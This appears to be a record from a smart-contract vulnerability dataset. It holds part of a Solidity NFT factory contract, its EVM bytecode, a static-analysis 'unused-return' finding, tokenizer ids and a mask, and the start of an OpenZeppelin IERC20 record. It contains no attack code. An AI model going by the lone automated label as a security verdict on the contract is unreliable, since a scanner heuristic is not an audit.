NFTCreated(address indexed nftAddress, string name, string symbol); event OwnershipTransferred(address indexed previousAdmin, address indexed newAdmin); address public admin; constructor(address admin_) { admin = admin_; } modifier onlyAdmin() { require(msg.sender == admin, "Restricted to admin."); _; } function createNewNFT( address owner, string memory baseURI, string memory name, string memory symbol ) external onlyAdmin returns (address) { NFT nft = new NFT(owner, baseURI, name, symbol); emit NFTCreated(address(nft), name, symbol); return address(nft); } function transferOwnership(address newAdmin) external onlyAdmin { require(newAdmin != address(0), "Factory: new admin is the zero address"); require(newAdmin != admin, "NFTFactory: same admin"); _setAdmin(newAdmin); } function _setAdmin(address newAdmin) private { address oldAdmin = admin; admin = newAdmin; emit OwnershipTransferred(oldAdmin, newAdmin); } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80635c975abb116100b8578063b88d4fde1161007c578063b88d4fde14610375578063c87b56dd14610391578063d431b1ac146103c1578063e985e9c5146103cb578063f2fde38b146103fb578063f851a4401461041757610142565b80635c975abb146102bd5780636352211e146102db57806370a082311461030b57806395d89b411461033b578063a22cb4651461035957610142565b806323b872dd1161010a57806323b872dd146101ff5780632f745c591461021b57806339a0c6f91461024b57806342842e0e146102675780634f6ccce7146102835780634f842143146102b357610142565b806301ffc9a71461014757806306fdde0314610177578063081812fc14610195578063095ea7b3146101c557806318160ddd146101e1575b600080fd5b610161600480360381019061015c9190612709565b610435565b60405161016e9190612c8a565b60405180910390f35b61017f6104af565b60405161018c9190612ca5565b60405180910390f35b6101af60048036038101906101aa919061279c565b610541565b6040516101bc9190612c23565b60405180910390f35b6101df60048036038101906101da91906126cd565b6105c6565b005b6101e9610726565b6040516101f69190612f27565b60405180910390f35b610219600480360381019061021491906125c7565b610733565b005b610235600480360381019061023091906126cd565b61079c565b6040516102429190612f27565b60405180910390f35b6102656004803603810190610260919061275b565b610841565b005b610281600480360381019061027c91906125c7565b610919565b005b61029d6004803603810190610298919061279c565b610939565b6040516102aa9190612f27565b60405180910390f35b6102bb6109d0565b005b6102c5610a6a565b6040516102d29190612c8a565b60405180910390f35b6102f560048036038101906102f0919061279c565b610a81565b6040516103029190612c23565b60405180910390f35b61032560048036038101906103209190612562565b610b24565b6040516103329190612f27565b60405180910390f35b610343610bdc565b6040516103509190612ca5565b60405180910390f35b610373600480360381019061036e9190612691565b610c6e565b005b61038f600480360381019061038a9190612616565b610def565b005b6103ab60048036038101906103a6919061279c565b610e5a565b6040516103b89190612ca5565b60405180910390f35b6103c9610e8e565b005b6103e560048036038101906103e0919061258b565b610f28565b6040516103f29190612c8a565b60405180910390f35b61041560048036038101906104109190612562565b610fbc565b005b61041f611159565b60405161042c9190612c23565b60405180910390f35b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806104a857506104a782611183565b5b9050919050565b6060600080546104be90613192565b80601f01602080910402602001604051908101604052809291908181526020018280546104ea90613192565b80156105375780601f1061050c57610100808354040283529160200191610537565b820191906000526020600020905b81548152906001019060200180831161051a57829003601f168201915b5050505050905090565b600061054c82611265565b61058b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058290612e27565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6105cf81611265565b61060e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060590612ec7565b60405180910390fd5b600061061982610a81565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561068a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068190612e67565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166106a96112d1565b73ffffffffffffffffffffffffffffffffffffffff1614806106d857506106d7816106d26112d1565b610f28565b5b610717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070e90612d67565b60405180910390fd5b61072183836112d9565b505050565b6000600980549050905090565b61073c81611392565b61074d6107476112d1565b82611426565b61078c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078390612e87565b60405180910390fd5b610797838383611504565b505050565b60006107a783610b24565b82106107e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107df90612d07565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c890612f07565b60405180910390fd5b60006108db610bdc565b905081816040516020016108f0929190612bd0565b604051602081830303815290604052600c9080519060200190610914929190612386565b505050565b61093483838360405180602001604052806000815250610def565b505050565b6000610943610726565b8210610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b90612ea7565b60405180910390fd5b600982815481106109be577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5790612f07565b60405180910390fd5b610a68611760565b565b6000600b60009054906101000a900460ff16905090565b6000806003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b1a57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915050610b1f565b809150505b919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8c90612e07565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060018054610beb90613192565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1790613192565b8015610c645780601f10610c3957610100808354040283529160200191610c64565b820191906000526020600020905b815481529060010190602001808311610c4757829003601f168201915b5050505050905090565b610c766112d1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdb90612da7565b60405180910390fd5b8060066000610cf16112d1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16610d9e6112d1565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610de39190612c8a565b60405180910390a35050565b610df882611392565b610e09610e036112d1565b83611426565b610e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3f90612e87565b60405180910390fd5b610e5484848484611802565b50505050565b6060600c610e678361185e565b604051602001610e78929190612bff565b6040516020818303038152906040529050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1590612f07565b60405180910390fd5b610f26611a0b565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104390612f07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b390612ee7565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114490612d47565b60405180910390fd5b61115681611aae565b50565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061124e57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061125e575061125d82611b74565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661134c83610a81565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611423576113f181611265565b61142257611421600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611bde565b5b5b50565b600061143182611265565b611470576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146790612dc7565b60405180910390fd5b600061147b83610a81565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806114ea57508373ffffffffffffffffffffffffffffffffffffffff166114d284610541565b73ffffffffffffffffffffffffffffffffffffffff16145b806114fb57506114fa8185610f28565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661152482610a81565b73ffffffffffffffffffffffffffffffffffffffff161461157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612e47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e190612d87565b60405180910390fd5b6115f5838383611cf3565b6116006000826112d9565b6001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461165091906130a8565b925050819055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116a79190613021565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b611768610a6a565b6117a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179e90612ce7565b60405180910390fd5b6000600b60006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6117eb6112d1565b6040516117f89190612c23565b60405180910390a1565b61180d848484611504565b61181984848484611d4b565b611858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184f90612d27565b60405180910390fd5b50505050565b606060008214156118a6576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611a06565b600082905060005b600082146118d85780806118c1906131f5565b915050600a826118d19190613077565b91506118ae565b60008167ffffffffffffffff81111561191a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561194c5781602001600182028036833780820191505090505b5090505b600085146119ff5760018261196591906130a8565b9150600a85611974919061323e565b60306119809190613021565b60f81b8183815181106119bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856119f89190613077565b9450611950565b8093505050505b919050565b611a13610a6a565b15611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a90612de7565b60405180910390fd5b6001600b60006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611a976112d1565b604051611aa49190612c23565b60405180910390a1565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b611bea60008383611cf3565b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c3a9190613021565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b611cfb610a6a565b15611d3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3290612cc7565b60405180910390fd5b611d46838383611ee2565b505050565b6000611d6c8473ffffffffffffffffffffffffffffffffffffffff16611ff6565b15611ed5578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02611d956112d1565b8786866040518563ffffffff1660e01b8152600401611db79493929190612c3e565b602060405180830381600087803b158015611dd157600080fd5b505af1925050508015611e0257506040513d601f19601f82011682018060405250810190611dff9190612732565b60015b611e85573d8060008114611e32576040519150601f19603f3d011682016040523d82523d6000602084013e611e37565b606091505b50600081511415611e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7490612d27565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050611eda565b600190505b949350505050565b611eed838383612009565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f3057611f2b8161200e565b611f6f565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f6e57611f6d8382612057565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fb257611fad816121c4565b611ff1565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ff057611fef8282612307565b5b5b505050565b600080823b905060008111915050919050565b505050565b600980549050600a600083815260200190815260200160002081905550600981908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161206484610b24565b61206e91906130a8565b9050600060086000848152602001908152602001600020549050818114612153576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816008600083815260200190815260200160002081905550505b6008600084815260200190815260200160002060009055600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016009805490506121d891906130a8565b90506000600a600084815260200190815260200160002054905060006009838154811061222e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060098381548110612276577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600a600083815260200190815260200160002081905550600a60008581526020019081526020016000206000905560098054806122eb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061231283610b24565b905081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806008600084815260200190815260200160002081905550505050565b82805461239290613192565b90600052602060002090601f0160209004810192826123b457600085556123fb565b82601f106123cd57805160ff19168380011785556123fb565b828001600101855582156123fb579182015b828111156123fa5782518255916020019190600101906123df565b5b509050612408919061240c565b5090565b5b8082111561242557600081600090555060010161240d565b5090565b600061243c61243784612f67565b612f42565b90508281526020810184848401111561245457600080fd5b61245f848285613150565b509392505050565b600061247a61247584612f98565b612f42565b90508281526020810184848401111561249257600080fd5b61249d848285613150565b509392505050565b6000813590506124b481613884565b92915050565b6000813590506124c98161389b565b92915050565b6000813590506124de816138b2565b92915050565b6000815190506124f3816138b2565b92915050565b600082601f83011261250a57600080fd5b813561251a848260208601612429565b91505092915050565b600082601f83011261253457600080fd5b8135612544848260208601612467565b91505092915050565b60008135905061255c816138c9565b92915050565b60006020828403121561257457600080fd5b6000612582848285016124a5565b91505092915050565b6000806040838503121561259e57600080fd5b60006125ac858286016124a5565b92505060206125bd858286016124a5565b9150509250929050565b6000806000606084860312156125dc57600080fd5b60006125ea868287016124a5565b93505060206125fb868287016124a5565b925050604061260c8682870161254d565b9150509250925092565b6000806000806080858703121561262c57600080fd5b600061263a878288016124a5565b945050602061264b878288016124a5565b935050604061265c8782880161254d565b925050606085013567ffffffffffffffff81111561267957600080fd5b612685878288016124f9565b91505092959194509250565b600080604083850312156126a457600080fd5b60006126b2858286016124a5565b92505060206126c3858286016124ba565b9150509250929050565b600080604083850312156126e057600080fd5b60006126ee858286016124a5565b92505060206126ff8582860161254d565b9150509250929050565b60006020828403121561271b57600080fd5b6000612729848285016124cf565b91505092915050565b60006020828403121561274457600080fd5b6000612752848285016124e4565b91505092915050565b60006020828403121561276d57600080fd5b600082013567ffffffffffffffff81111561278757600080fd5b61279384828501612523565b91505092915050565b6000602082840312156127ae57600080fd5b60006127bc8482850161254d565b91505092915050565b6127ce816130dc565b82525050565b6127dd816130ee565b82525050565b60006127ee82612fde565b6127f88185612ff4565b935061280881856020860161315f565b6128118161332b565b840191505092915050565b600061282782612fe9565b6128318185613005565b935061284181856020860161315f565b61284a8161332b565b840191505092915050565b600061286082612fe9565b61286a8185613016565b935061287a81856020860161315f565b80840191505092915050565b6000815461289381613192565b61289d8186613016565b945060018216600081146128b857600181146128c9576128fc565b60ff198316865281860193506128fc565b6128d285612fc9565b60005b838110156128f4578154818901526001820191506020810190506128d5565b838801955050505b50505092915050565b6000612912602b83613005565b915061291d8261333c565b604082019050919050565b6000612935601483613005565b91506129408261338b565b602082019050919050565b6000612958602b83613005565b9150612963826133b4565b604082019050919050565b600061297b603283613005565b915061298682613403565b604082019050919050565b600061299e601283613005565b91506129a982613452565b602082019050919050565b60006129c1603783613005565b91506129cc8261347b565b604082019050919050565b60006129e4602483613005565b91506129ef826134ca565b604082019050919050565b6000612a07601983613005565b9150612a1282613519565b602082019050919050565b6000612a2a602c83613005565b9150612a3582613542565b604082019050919050565b6000612a4d601083613005565b9150612a5882613591565b602082019050919050565b6000612a70602a83613005565b9150612a7b826135ba565b604082019050919050565b6000612a93602c83613005565b9150612a9e82613609565b604082019050919050565b6000612ab6602983613005565b9150612ac182613658565b604082019050919050565b6000612ad9602183613005565b9150612ae4826136a7565b604082019050919050565b6000612afc603183613005565b9150612b07826136f6565b604082019050919050565b6000612b1f602c83613005565b9150612b2a82613745565b604082019050919050565b6000612b42602583613005565b9150612b4d82613794565b604082019050919050565b6000612b65602583613005565b9150612b70826137e3565b604082019050919050565b6000612b88601383613005565b9150612b9382613832565b602082019050919050565b6000612bab600183613016565b9150612bb68261385b565b600182019050919050565b612bca81613146565b82525050565b6000612bdc8285612855565b9150612be88284612855565b9150612bf382612b9e565b91508190509392505050565b6000612c0b8285612886565b9150612c178284612855565b91508190509392505050565b6000602082019050612c3860008301846127c5565b92915050565b6000608082019050612c5360008301876127c5565b612c6060208301866127c5565b612c6d6040830185612bc1565b8181036060830152612c7f81846127e3565b905095945050505050565b6000602082019050612c9f60008301846127d4565b92915050565b60006020820190508181036000830152612cbf818461281c565b905092915050565b60006020820190508181036000830152612ce081612905565b9050919050565b60006020820190508181036000830152612d0081612928565b9050919050565b60006020820190508181036000830152612d208161294b565b9050919050565b60006020820190508181036000830152612d408161296e565b9050919050565b60006020820190508181036000830152612d6081612991565b9050919050565b60006020820190508181036000830152612d80816129b4565b9050919050565b60006020820190508181036000830152612da0816129d7565b9050919050565b60006020820190508181036000830152612dc0816129fa565b9050919050565b60006020820190508181036000830152612de081612a1d565b9050919050565b60006020820190508181036000830152612e0081612a40565b9050919050565b60006020820190508181036000830152612e2081612a63565b9050919050565b60006020820190508181036000830152612e4081612a86565b9050919050565b60006020820190508181036000830152612e6081612aa9565b9050919050565b60006020820190508181036000830152612e8081612acc565b9050919050565b60006020820190508181036000830152612ea081612aef565b9050919050565b60006020820190508181036000830152612ec081612b12565b9050919050565b60006020820190508181036000830152612ee081612b35565b9050919050565b60006020820190508181036000830152612f0081612b58565b9050919050565b60006020820190508181036000830152612f2081612b7b565b9050919050565b6000602082019050612f3c6000830184612bc1565b92915050565b6000612f4c612f5d565b9050612f5882826131c4565b919050565b6000604051905090565b600067ffffffffffffffff821115612f8257612f816132fc565b5b612f8b8261332b565b9050602081019050919050565b600067ffffffffffffffff821115612fb357612fb26132fc565b5b612fbc8261332b565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061302c82613146565b915061303783613146565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561306c5761306b61326f565b5b828201905092915050565b600061308282613146565b915061308d83613146565b92508261309d5761309c61329e565b5b828204905092915050565b60006130b382613146565b91506130be83613146565b9250828210156130d1576130d061326f565b5b828203905092915050565b60006130e782613126565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561317d578082015181840152602081019050613162565b8381111561318c576000848401525b50505050565b600060028204905060018216806131aa57607f821691505b602082108114156131be576131bd6132cd565b5b50919050565b6131cd8261332b565b810181811067ffffffffffffffff821117156131ec576131eb6132fc565b5b80604052505050565b600061320082613146565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132335761323261326f565b5b600182019050919050565b600061324982613146565b915061325483613146565b9250826132645761326361329e565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4552433732315061757361626c653a20746f6b656e207472616e73666572207760008201527f68696c6520706175736564000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4552433732313a2073616d652061646d696e0000000000000000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206f7220617070726f76656420666f7220616c6c000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520666f72206e6f6e6578697374656e742060008201527f746f6b656e000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206e65772061646d696e20697320746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f5265737472696374656420746f2061646d696e00000000000000000000000000600082015250565b7f2f00000000000000000000000000000000000000000000000000000000000000600082015250565b61388d816130dc565b811461389857600080fd5b50565b6138a4816130ee565b81146138af57600080fd5b50565b6138bb816130fa565b81146138c657600080fd5b50565b6138d281613146565b81146138dd57600080fd5b5056fea2646970667358221220243a09bf708df2a97dbbc4607089f0cb8678ea04c490efe940e7cc44d6dbaa6a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2497, 2094, 16068, 26976, 2278, 2549, 26337, 8889, 2278, 2575, 2475, 2094, 2575, 2094, 23499, 2475, 2278, 2575, 2094, 2620, 2094, 2549, 20952, 2620, 2475, 26337, 2575, 2063, 2549, 2063, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2654, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,653
0x957C0fE2Dc531E4035F04F280d99cFe8d96993d9
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event 